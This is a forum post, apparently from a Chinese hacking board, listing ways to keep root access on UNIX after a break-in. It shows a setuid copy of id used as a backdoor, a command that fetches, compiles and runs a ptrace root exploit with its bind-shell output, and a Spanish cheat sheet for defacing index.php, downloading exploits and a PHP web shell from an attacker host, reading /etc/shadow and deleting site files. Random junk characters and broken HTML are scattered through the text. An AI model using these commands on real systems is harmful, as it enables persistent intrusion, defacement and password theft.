QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4936|回复: 0
打印 上一主题 下一主题

总结UNIX成为root以后保持权限的方法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<><FONT color=#ff0000>by:cnbird</FONT></P>' [8 ?- m: E, ?, o' M. A2 _
<>1.</P>
' A! y* A( B- C0 v0 `<>[cnbird@localhost tmp]#id</P># R, X) G) f  F0 b
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
- f0 o: _, K& M<>[cnbird@localhost tmp]#cp `which id ` .</P>7 [4 F8 W: y1 ]3 v: x3 N$ p6 q
<>[cnbird@localhost tmp]#chown root ./id</P>/ W4 A8 y; [, e4 Q( K! M
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>* |+ D0 p; c0 f8 y* B* ~8 K& @
<>[cnbird@localhost tmp]#ls -l ./id</P>  _; X* j2 C! V* X
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P># N+ M6 [% P+ p( a$ W3 A. r' U
<>[cnbird@localhost tmp]#exit</P>8 c* @* Z0 [! l
<>[cnbird@localhost tmp]$id</P>
+ p6 k; a3 j2 U# H" E4 W& A<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>/ E6 w; H9 z. m% }# T6 T
<>[cnbird@localhost tmp]$./id </P>
" O  e4 Y- r- Q) @% @<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>* X2 ]2 s: I' V5 e$ z2 `. Z
<>2.利用ptrace成为root的方法</P>9 g7 j5 |8 U' `. S, x& B1 Y- G3 z& ~
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace2 L+ K" y: {: @2 e/ M
-&gt; Parent's PID is 2313. Child's PID is 2314.
/ N* f% I4 O+ S* Y-&gt; Attaching to 2315...
- N/ _. ^! T/ o! |6 K3 R-&gt; Got the thread!!
* M; G1 X- U1 C0 F-&gt; Waiting for the next signal...# D0 n$ H& F. }3 J
-&gt; Injecting shellcode at 0x4000e85d8 V9 t- [7 @6 b! }; \1 V, C! C' O  j
-&gt; Bind root shell on port 24876... =p/ @) p) h. t" B$ S% D
-&gt; Detached from modprobe thread./ c; q2 K! n, c2 d: z4 N
-&gt; Committing suicide.....</P>
1 M* e1 k# G, p% M+ B<>[bash]# id
6 Y) k' x& x8 ~4 k) a' s5 duid=0(root) gid=0(root) groups=0(root)</P>7 l5 v6 |6 a5 ]/ e3 k5 c
<>ara ver los dominios que hay en el server:
+ _' Z3 \! R% J, }( A---------------------------------------------------------
5 {' @7 u+ q1 o7 [* u" g: T/ j0 ?, Wcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios. z: o) w4 o" ?" U
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios' f2 M- T9 Z+ B" x% X+ p: ^+ \
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
9 \  |. E% u+ y! U7 F9 wcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio 1 I2 b& O" q9 r& e( a1 V0 J9 x4 S
cat /etc/userdomains &lt;&lt; Este es el mas comun
! {: ~  p0 i3 a& n; t  T---------------------------------------------------------</P>: ^9 C& a6 j' a. I: K5 e& Z, u$ M
<>ara ver la version de kernel:8 n4 J+ _$ @/ e0 p3 ~% h
---------------------------------------------------------! R. E$ |: V( s, I
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.( B1 d- s! }( `) `; |: H1 X
---------------------------------------------------------</P>
( I' C8 D0 g( L, e<>ara modificar un index ya existente:
3 `- E( Z5 q& X: G---------------------------------------------------------
! u7 L' k9 O# f# _) D! y6 i; iecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido. K" e" M: x/ @/ {4 |
---------------------------------------------------------</P>; G' i" C' |! O% q) I. `
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
% }% C2 O" f( b---------------------------------------------------------( {5 P5 v7 v  f& r
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit  \4 g* @$ S( P/ k% o) Y' a
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
$ t/ r. r' X& @' \$ M/ Vcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
( M6 |( G/ Q$ O2 x3 {cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". : i* P1 B3 z9 ]) Q
Hasta aqui termina el proceso para un exploit.! H" D# \4 R' P
---------------------------------------------------------</P>
7 f# ^( H1 s. \<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:+ B( y+ q% X9 U% f% R+ W) Z9 O' V% B+ T
---------------------------------------------------------
. f! D5 s! y8 j6 f( z# scat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.5 s9 s1 {% j8 q" }6 V9 ~2 ^
---------------------------------------------------------</P>' G& S9 l. p$ F) e; |7 L
<>Borrar un Ficher! @# E& e  q1 a1 @
---------------------------------------------------------- V0 b8 p  q  R4 G9 L) o
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
  f7 m  N" H  d  X& H---------------------------------------------------------</P>
% d' t( U4 ]6 |/ t<>Subir un ficher
7 A* m3 C6 E  Y, Q) [. Y+ j" o---------------------------------------------------------
: `% k& `; I. w2 q. d$ r) t9 Ecd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
+ e$ \! s3 ~( e. y3 C. o<>8 }5 _: _3 M( V$ }% w3 W" ^* D  Q
<CENTER></CENTER>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 11:19 , Processed in 0.426540 second(s), 52 queries .

回顶部